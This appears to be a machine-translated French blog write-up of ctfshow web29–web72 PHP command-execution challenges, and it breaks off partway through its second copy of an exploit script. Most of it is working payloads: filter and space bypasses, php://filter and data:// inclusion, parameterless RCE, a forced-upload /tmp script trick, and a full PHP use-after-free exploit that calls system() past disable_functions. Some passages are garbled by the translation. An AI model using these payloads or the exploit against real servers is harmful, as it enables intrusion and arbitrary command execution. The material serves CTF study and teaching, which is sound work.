Exécution de la commande Ctfshow web29
pregmatch
Est une fonction de correspondance régulière, correspondant si elle contient un indicateur, if(!preg_match("/flag/i", $c))
en /i
ignorant la casse
Vous pouvez utiliser le système pour exécuter indirectement des commandes système
L'indicateur est f*
contourné, ou mv fl?g.php 1.txt
le nom du fichier est modifié, oucat 反引号ls反引号
Caractère générique Linux : https://www.cnblogs.com/ysuwangqiang/p/11364173.html
La commande Ctfshow exécute web30
Plus de filtrage pour le système et php
Utilisez *
le contournement etpassthru
La commande Ctfshow exécute web31
filtreflag
system
php
cat
sort
shell
.
空格
'
Si les espaces sont filtrés, vous pouvez utiliser %09
la substitution ; vous pouvez également utiliser {$IFS}
ou$IFS$1
Les paramètres sont passés comme suit :
?c=passthru("tac%09fla*");
La commande Ctfshow exécute web32
filtreflag
system
php
cat
sort
shell
.
空格
'
反引号
echo
Les méthodes précédentes ne sont plus utiles. Cela n'a pas d'importance, l'inclusion de fichiers s'en chargera.
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
La commande Ctfshow exécute web33
J'ai ajouté (
le "
filtrage et, c'est bon, l'inclusion de fichiers peut toujours être utilisée.
Charge utile:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
De plus, l'inclusion de journaux est possible ici.
La commande Ctfshow exécute web34
:
D'accord, c'est filtré maintenant . Ce n'est pas grave, le fichier peut toujours être utilisé.
Charge utile:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
La commande Ctfshow exécute web35
<
et =
sont également filtrés, ce n'est pas grave, le fichier contient et peut toujours être utilisé
Charge utile:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
La commande Ctfshow exécute web36
Après avoir ajouté le filtrage pour la somme /
et 数字0-9
le fichier, le fichier contient toujours la même charge utile.
La commande Ctfshow exécute web37
Bon gars, tu viens de me donner le fichier et de l'inclure, n'est-ce pas ?
Charge utile : (Utilisation du codage base64 pour contourner le filtrage)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//(<?php system("tac flag.php");?>)
La commande Ctfshow exécute web38
La charge utile reste inchangée.
La commande Ctfshow exécute web39
Bien que le suffixe soit imposé, cela ne l'affecte pas. Parce que ?>
l'instruction PHP a été fermée.
?c=data://text/plain,<?php system("tac fla*.php");?>
La commande Ctfshow exécute web40
Beaucoup de choses sont filtrées. Seuls les espaces, les points-virgules et les crochets anglais peuvent toujours être utilisés.
J'ai jeté un œil à wp (https://blog.csdn.net/Kracxi/article/details/121041140) et j'ai découvert que je ne pouvais rien faire. Cette question n’implique pas le RCE.
Deux charges utiles.
?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
Voici les fonctions pratiques du RCE sans paramètres que j'ai apprises et compilées au cours du processus de résolution de problèmes. (Basé en partie sur la carte mentale Web de Maître Fu Jinyuan)
En plus du RCE sans paramètre, il existe une autre façon d'utiliser les sessions.
charge utile:
?c=session_start();system(session_id());
session_id (PHPSESSID) est la commande à exécuter.
Mais cette méthode présente un inconvénient : la commande ne peut pas contenir d'espaces, car les cookies n'analysent pas les espaces.
La commande Ctfshow exécute web41
Le principe du rce non alphanumérique : utiliser divers caractères non numériques pour construire un seul caractère alphabétique via diverses transformations (XOR, négation, auto-incrémentation), puis fusionner les caractères uniques en un nom de fonction, tel que system , puis il peut être exécuté dynamiquement. L’essentiel ici est donc de remplacer les caractères non alphabétiques par des caractères alphabétiques. (https://www.cnblogs.com/pursue-security/p/15404150.html)
Audit de code, pas de filtrage ou (|). Exécutez un script (je suis le script boy)
Consultez le catalogue.
La commande Ctfshow exécute web42
Regardons d'abord le code source, une nouveauté>/dev/null 2>&1
signification:
1>/dev/null
: Premièrement, cela signifie que la sortie standard est redirigée vers un fichier de périphérique vide, c'est-à-dire qu'aucune information n'est envoyée au terminal et aucune information n'est affichée.
>
Représente où rediriger, par exemple : echo "123" > /home/123.txt
1
Représente la sortie standard de la sortie standard. La valeur par défaut du système est 1, donc ">/dev/null" est équivalent à "1>/dev/null".
2
Représente l'erreur standard stderr
&
Indique la même signification, 2>&1, indiquant que la redirection de sortie de 2 est équivalente à 1
;
La façon de contourner cela consiste à ajouter une commande tronquée or %0a
ou ou %26(&)
ou après la commande ||
. Le principe spécifique est que la redirection fait également partie du commandement. Par exemple, si and 命令1;命令2 1>/dev/null
est exécuté , bien que la commande 2 soit redirigée, la commande 1 ne l'est pas.命令1
命令2 1>/dev/null
La commande Ctfshow exécute web43
Le délimiteur est filtré, il peut être remplacé par d'autres délimiteurs. Le filtrage Cat peut être remplacé par tac, nl ou divers caractères d'échappement \
, '
, "
.
Charge utile:
?c=tac flag.php%26
La commande Ctfshow exécute web44
Ajout d'une paire flag
de filtres, nous utilisons des caractères d'échappement pour contourner.
Charge utile:
?c=nl%20fl\ag.php||
La commande Ctfshow exécute web45
J'ai ajouté 空格
le bon filtre et %09
je l'ai remplacé par.
Charge utile:
?c=tac%09fla*||
La commande Ctfshow exécute web46
2023.8.16 Après six mois, un trouble obsessionnel-compulsif m'a obligé à terminer les bases.
Ajout du filtrage pour 数字
, et les espaces. Les espaces peuvent être remplacés par ou (%09 *
est un encodage d'URL, pas un nombre). Les caractères génériques sont filtrés mais ne peuvent pas être utilisés, utilisez donc le caractère d'échappement ou .$
<>
<
%09
*
?
flag
\
''
charge utile:
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
J'ai trouvé une charge utile étrange : les caractères génériques ?
peuvent à nouveau être utilisés ici, ce qui me laisse plein de points d'interrogation ? ? ? ? ? Plus tard, j'ai vérifié et découvert que c'était parce que ** <
et ?
** ne pouvaient pas être utilisés en même temps. La charge utile ci-dessus a été modifiée et cela a c=tac%09fla?.php||
fonctionné.
?c=awk%09'/f/'%09fla?.php||
等价于?c=awk%09'/f/{print}'%09fla?.php||
Cela fonctionne, veuillez expliquer. Cette charge utile est la ligne flag.php
contenant la chaîne dans le fichier de sortie f
.
Si nous f
le remplaçons ctfshow
, seul le drapeau sera affiché.
Article de référence :
https://blog.csdn.net/Dark_Tk/article/details/114844529
La commande Ctfshow exécute web47
Certaines fonctions d'exécution de commandes supplémentaires ont été filtrées more
less
head
sort
tail
. Mais je n'ai pas filtré mes favoris tac
, nl
et awk
.
La charge utile reste inchangée :
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||
La commande Ctfshow exécute web48
sed
cut
awk
strings
od
curl
Certaines fonctions et fonctions d'exécution de commandes supplémentaires sont filtrées 反引号
. Mais pas filtré mon préféré tac
et nl
.
La charge utile reste inchangée :
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
La commande Ctfshow exécute web49
Les signes de pourcentage supplémentaires sont filtrés %
, ce qui n'a aucun effet sur ma charge utile. J'utilise des espaces pour <
les contourner.
La charge utile reste inchangée :
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
La commande Ctfshow exécute web50
J'ai ajouté plus de filtres \x09
(onglets horizontaux) et \x26
(&), ce qui n'a eu aucun effet sur ma charge utile.
La charge utile reste inchangée :
?c=nl<fla''g.php|| //在源码里面
?c=tac<fla\g.php||
La commande Ctfshow exécute web51
Il existe davantage de filtres tac
et une autre charge utile peut être utilisée.
La charge utile reste inchangée :
?c=nl<fla''g.php|| //在源码里面
# La commande Ctfshow exécute web52
<
La somme est filtrée >
, mais pas filtrée $
. Il suffit d'utiliser $IFS
ou ${IFS}
de contourner les espaces dans la charge utile mentionnée ci-dessus.
charge utile:
?c=nl$IFS/fla''g|| //flag在根目录
?c=nl${IFS}/fla''g||
?c=ta''c$IFS/fla''g||
?c=c''at${IFS}/fla''g||
La commande Ctfshow exécute web53
Le filtrage reste inchangé, et il n'y a cette fois pas de redirection.
charge utile:
?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||
?c=nl${IFS}fla''g.php||
?c=ta''c$IFSfla''g.php||
?c=c''at${IFS}fla''g.php||
La commande Ctfshow exécute web54
Cette fois, le filtrage était un peu dur.
En plus des symboles 反引号
, \x09
, \x26
, %
, <
, >
, sont également filtrés et ne peuvent pas être contournés à l'aide de caractères d'échappement.*
cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
Utilisez d'autres commandes pour lire le drapeau
?c=uniq${IFS}f???????
?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的这一行,好奇怪,这里只有tf、sh、ow、{、}能找出flag)
Utilisez les commandes d'exécution de fichiers + les caractères génériques pour contourner le filtrage (notez que ca?${IFS}f??? n'est pas autorisé ici)
/bin
ce répertoire.
bin
est binary
l'abréviation pour placer principalement certains fichiers exécutables nécessaires du système, tels que : cat, cp, chmod df, dmesg, gzip, kill, ls, mkdir, more, mount, rm, su, tar, base64, etc.
?c=/bin/ca?${IFS}f???????
Copier des fichiers
?c=mv${IFS}fl?g.php${IFS}x.txt
La commande Ctfshow exécute web55
indice:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
Filtré 所有字母
et 反引号
, \x09
, \x26
, %
, <
, >
. Cette question examine le RCE sans lettres.
première méthode :
Utilisez la commande d'exécution de fichier + un caractère générique pour contourner le filtrage
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有
?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。
Deuxième méthode :
Cette question est que l'exécution de commandes n'est pas une exécution de code et que des opérations telles que XOR/épissage ne peuvent pas être effectuées. Ce n'est que si eval()
le contenu est contrôlable (exécution de code) que XOR/épissage et autres opérations peuvent être effectués, car c'est le code PHP qui reconnaît XOR/épissage et autres opérations, pas le terminal (cmd).
[RCE non alphanumérique sous téléchargement forcé de fichiers]
Cette question teste le mécanisme de téléchargement forcé de fichiers de PHP.
Les variables superglobales PHP sont les suivantes
$_GET //存放所有GET请求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
En PHP, lorsque le téléchargement de fichiers est forcé, les fichiers seront stockés /tmp/phpxxxxxx
dans des fichiers temporaires.
Les six derniers chiffres de ce fichier xxxxxx
sont composés de lettres majuscules et minuscules et de chiffres, et leur cycle de vie ne se déroule que lorsque le code PHP est en cours d'exécution.
La correspondance régulière dans la question filtre les lettres majuscules et minuscules (i) et les chiffres.
Donc si nous voulons faire correspondre, /tmp/phpxxxxxx
nous pouvons utiliser des caractères génériques/???/?????????
/???/?????????
La portée est trop grande, comment la réduire ?
Vérifiez la table des codes ascii, A est précédé de @ et Z est suivi de [
/???/????????[@-[]
Cela signifie que le dernier chiffre est en majuscule
Lorsque le dernier caractère du fichier temporaire est une lettre majuscule, /???/????????[@-[]
le fichier peut être mis en correspondance.
Sous Linux, .
cela signifie exécuter un fichier, ce qui équivaut à source
exécuter la commande sh.
Si le fichier téléchargé est un script shell, alors . /???/????????[@-[]
(l'espace dans burp doit être écrit +
sous la forme ou %20
), le script shell peut être exécuté pour implémenter RCE.
Comment forcer le téléchargement de fichiers ?
Nous pouvons écrire un fichier de formulaire sur vps
télécharger.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>
Visitez upload.html sur vps
Téléchargez un fichier avec whoami
du contenu txt
. Capturez des paquets en même temps.
Changez le paquet. Il a été constaté qu'il pouvait être exécuté normalement et les résultats ont été renvoyés.
Obtenez le drapeau. (La probabilité de succès est que la probabilité que le dernier chiffre soit en majuscule est de 26/26+26+10. Envoyez simplement quelques colis supplémentaires)
La commande Ctfshow exécute web56
Cette fois, il 数字
a également été filtré.
Comme dans la question précédente, le mécanisme de téléchargement forcé de fichiers de PHP peut toujours être utilisé.
La commande Ctfshow exécute web57
Cette fois, il y avait beaucoup plus de filtrage. Le numéro de point est filtré .
et le mécanisme de téléchargement de fichiers ne peut pas être forcé à l'aide de PHP.
preg_match("/\;|[a-z]|[0-9]|\反引号|\|\#|\'|\"|\反引号|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
Invite de questions flag in 36.php
.
Code clé : system("cat ".$c.".php");
.
Ce que nous pouvons contrôler, c'est qu'il $c
nous suffit de le construire selon les invites 36
.
Remplissez d'abord les connaissances prérequises : inversion binaire
Le premier bit en binaire est le bit de signe, 0 représente un nombre positif, 1 représente un nombre négatif, si 0000 0001
oui +1
, 1000 0001
oui -1
. En même temps, en ajoutant des concepts connexes tels que le code original complémentaire, vous pouvez comprendre l'inversion binaire.
Conclusion : si a est inversé au niveau du bit, le résultat est -(a+1). 36
La négation est oui -37
, -37
la négation est oui 36
.
Pour plus de détails, veuillez consulter : https://zhuanlan.zhihu.com/p/261080329
sous Linux
${_}
Représente le résultat de la dernière exécution de la commande
$(())
Représente l'exécution d'opérations, ce qui vaut 0
$((~$(())))
représente ~0
(0 inversé) comme-1
$((~$(()))) $((~$(()))) $((~$(())))
représenter-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
Cela signifie -1-1-1
faire des calculs-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
Cela signifie le nier -1-1-1
après avoir effectué l'opération .-3
2
Les 37 nombres au milieu $((~$(())))
sont -37
, et après les avoir annulés, ils sont36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
charge utile:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
le drapeau est dans le code source.
La commande Ctfshow exécute web58
Cette question n'a pas de filtrage, mais la fonction commence à être désactivée.
Généralement, vérifiez d'abord phpinfo
les fonctions désactivées . Mais phpinfo
il est également désactivé ici, vous ne pouvez donc essayer qu'un par un.
Désactivé phpinfo
, system
, shell_exec
etc.
Le blog de Y4ye propose deux façons de lire les chemins de fichiers
c=print_r(scandir(dirname('__FILE__')));
(afficher le répertoire racine : print_r(scandir('/')); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
Les fonctions de lecture de fichiers incluent :
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
Charge utile de la fonction de lecture de fichier :
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//file()函数:把整个文件读入一个数组中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=readfile("flag.php");
//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
Vous pouvez également copier et renommer des fichiers :
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
Le fichier contient le flag pour la lecture directe :
c=include('flag.php');echo $flag;
c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
c=include('flag.php');var_dump(get_defined_vars());
//var_dump:输出注册变量
//get_defined_vars():函数返回由所有已定义变量所组成的数组
De plus, vous pouvez également utiliser le RCE sans paramètre, l'inclusion de journaux et d'autres méthodes, qui ne seront pas répertoriées une par une.
La commande Ctfshow exécute web59
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web60
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web61
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web62
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web63
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web64
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web65
Le code source est le même, mais quelques fonctions supplémentaires sont désactivées et la méthode est la même que celle de web58.
La commande Ctfshow exécute web66
Par rapport à web58, le code source est le même, mais la charge utile précédente ne peut pas être utilisée. Après une inspection minutieuse, le chemin du fichier d'indicateur a changé.
Rappelons que le blog de Y4 propose deux manières de lire les chemins de fichiers
c=print_r(scandir(dirname('__FILE__')));
(afficher le répertoire racine : print_r(scandir('/')); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
Jetons d'abord un coup d'œil au répertoire actuel :
c=print_r(scandir(dirname('__FILE__')));
Il n'y a en effet pas de drapeau.
Regardez à nouveau le répertoire racine :
c=print_r(scandir('/'));
Si vous constatez que l'indicateur se trouve dans le fichier du répertoire racine , remplacez flag.txt
-le simplement par celui de la charge utile précédente .flag.php
/flag.txt
La commande Ctfshow exécute web67
Le code source est toujours le même, par rapport à wen66, les fonctions sont filtrées print_r()
et nous var_dump()
les remplaçons par des fonctions. L'indicateur est toujours dans le flag.txt
fichier du répertoire racine.
Jetez un œil au répertoire racine :
c=var_dump(scandir('/'));
D'autres sont identiques à web66 et web58.
La commande Ctfshow exécute web68
La fonction a de nouveau été interdite highlight_file()
, nous empêchant de voir le code source. Mais le code source est toujours le même.
Nous avons encore de nombreuses façons. Identique à web67.
La commande Ctfshow exécute web69
[Échec du transfert d'image par lien externe. Le site source peut avoir un mécanisme anti-sangsue. Il est recommandé de sauvegarder l'image et de la télécharger directement (img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou .aliyuncs.com/img /202308191458554.png)]
Depuis web58 jusqu'à ici, les codes affichés dans les fichiers, tels que show_source
, , highlight_file
, file_get_contents
etc., ont été pratiquement interdits, mais l'inclusion de fichiers est toujours restée debout. C'est toujours la phrase au début de cet article, ce n'est pas grave, l'inclusion du fichier prendra des mesures .
Après avoir appris cela, j'ai découvert que dès le début, j'avais l'impression que les points de connaissances de la section Web étaient des îlots isolés, mais maintenant certaines connaissances peuvent être intégrées ensemble, ce qui peut être considéré comme une certaine croissance.
Cette question var_dump()
interdit la fonction et peut être var_export()
remplacée par une fonction.
De plus, scandir()
il peut être utilisé s’il est filtré glob()
. usagevar_dump(glob('/*'));
Jetez un œil au répertoire racine :
c=var_export(scandir('/'));
L'exécution de la commande prend le drapeau.
c=include('/flag.txt');var_export(get_defined_vars());
[Échec du transfert d'image par lien externe. Le site source peut avoir un mécanisme anti-sangsue. Il est recommandé de sauvegarder l'image et de la télécharger directement (img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou .aliyuncs.com/img /202308191503405.png)]
La commande Ctfshow exécute web70
La méthode est la même que celle du web69.
Exécution de la commande Ctfshow web71
Le code source est fourni en pièce jointe à cette question. Le code source est le suivant :
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents()
: Récupère le contenu (données) du tampon.
ob_end_clean()
: Effacera le contenu du tampon et fermera le tampon, mais n'affichera pas le contenu.
preg_replace("/[0-9]|[a-z]/i","?",$s)
: Remplacez le contenu des variables stockant le contenu du tampon $s
par des points d'interrogation. En utilisant la charge utile précédente, j'ai trouvé beaucoup de points d'interrogation dans le résultat, en raison de cette phrase.
Méthode 1 : (Cette méthode est actuellement la seule disponible en ligne, sur Yahoo !)
Puisque eval()
les fonctions nous donnent le pouvoir d’exécuter du code arbitraire, nous imitons le code source et remboursons l’autre à sa manière.
charge utile:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
Deuxième méthode :
Vous pouvez également utiliser exit()/die() pour terminer le code plus tôt afin que les caractères ne soient pas remplacés par des points d'interrogation
:
c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();
Troisième méthode :
En fait, les principes de la première méthode et de la troisième méthode sont les mêmes, toutes deux étant des tampons de sortie manuels. Cependant, les caractères générés par cette méthode ne sont pas reconnaissables à l’œil nu. . .
c=include("/flag.txt");echo ~ob_get_contents();
POC d'automatisation :
import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 脚本来自群里阿狸师傅
La commande Ctfshow exécute web72
Le code source reste inchangé.
La position du drapeau de cette question a encore changé. Tout comme elle, si inconstante.
Lisez le répertoire.
c=var_export(scandir('/'));exit();
J'ai découvert que je ne pouvais pas le lire car il y avait open_basedir
des restrictions sur les éléments de configuration et le répertoire était restreint /var/www/html/
.
open_basedir
L'élément de configuration apparaît également dans Ez_include de NepNepCTF-2023.
Nous pouvons profiter de glob伪协议
ne pas glob伪协议
être restreint lors du filtrage des répertoires open_basedir
. C'est la deuxième méthode de visualisation du répertoire donné par Maître Y4 dans web58.
Vérifiez le répertoire racine et constatez que l'indicateur est dans flag0.txt
le fichier.
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
Après avoir connu l'emplacement du fichier drapeau, l'étape suivante consiste à contourner open_basedir
les restrictions et à lire le fichier. Ici, les maîtres ont donné un script :
<?php
pwn("命令");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
# ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
# system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) {
};
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
La fonction dans le script str_repeat()
est filtrée, nous utilisons sprintf()
le remplacement de fonction.
La charge utile doit être conforme aux besoins 闭合源码
( 修改命令
elle URL编码
n'est pas codée dans ce wp).
c=?><?php
pwn("tac /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) {
# PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) {
$leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
# PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
# PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
